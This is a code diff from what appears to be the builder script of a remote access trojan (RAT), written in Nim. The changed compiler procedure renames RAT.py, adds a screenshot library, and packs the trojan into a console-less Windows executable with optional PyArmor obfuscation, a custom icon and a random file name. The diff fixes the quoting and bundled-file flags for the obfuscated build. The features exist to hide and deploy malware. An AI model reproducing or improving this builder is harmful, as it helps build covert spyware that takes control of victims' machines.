@@ -227,26 +227,34 @@ proc compiler(): int =
227227 modules.add ($ path.path.split (" \\ " )[^ 1 ])
228228
229229 var pyinst_cmd = pyinst & " --onefile --noconsole --hidden-import mss"
230- var pyarmor_cmd = armor & fmt" pack --clean -e "" --onefile --noconsole --hidden-import mss"" "
231230
232- var dat: string = fmt" --add-data "" Variables.py;."" "
231+ var dat: string = fmt" --add-data ' Variables.py;.' "
233232 pyinst_cmd.add (dat)
234- for m in modules:
235- dat = fmt" --add-data "" { m} ;."" "
236- pyinst_cmd.add (dat)
237233
234+ var pyarmor_cmd: string
238235 if icon:
239236 if obfuscate:
240- pyarmor_cmd = armor & fmt" pack --clean -e "" --onefile --noconsole --icon=custom_icon.ico --hidden-import mss"" "
237+ pyarmor_cmd = armor & fmt" pack --clean -e "" --onefile --noconsole --icon=custom_icon.ico --hidden-import mss { dat } "" "
241238 else :
242239 pyinst_cmd = pyinst_cmd & " --icon=custom_icon.ico"
243-
240+ pyarmor_cmd = armor & fmt " pack --clean -e "" --onefile --noconsole --hidden-import mss { dat } "
244241 moveFile (currdir / " RAT.py" , currdir / " 765678976567.py" )
242+ pyarmor_cmd.add (dat)
243+
244+ for m in modules:
245+ dat = fmt" --add-data '{ m} ;.' "
246+ pyinst_cmd.add (dat)
247+ pyarmor_cmd.add (dat)
248+
245249 pyinst_cmd.add (" 765678976567.py" )
250+ pyarmor_cmd.add (""" " 765678976567.py """ )
246251
247- echo pyinst_cmd
248- if obfuscate: discard execShellCmd (pyarmor_cmd)
249- else : discard execShellCmd (pyinst_cmd)
252+ if obfuscate:
253+ echo pyarmor_cmd
254+ discard execShellCmd (pyarmor_cmd)
255+ else :
256+ echo pyinst_cmd
257+ discard execShellCmd (pyinst_cmd)
250258
251259 var name = $ rand (6969 ) & " .exe"
252260 if fileExists (currdir / " dist" / " 765678976567.exe" ):
@@ -256,7 +264,7 @@ proc compiler(): int =
256264
257265 stdout.styledWriteLine (fgGreen, {styleBright}, " Build Successful! Output in " & name)
258266 discard getch ()
259- quit (0 )
267+ quit (0 )
260268
261269proc variablesCreator (x: int ) =
262270 printName ()
0 commit comments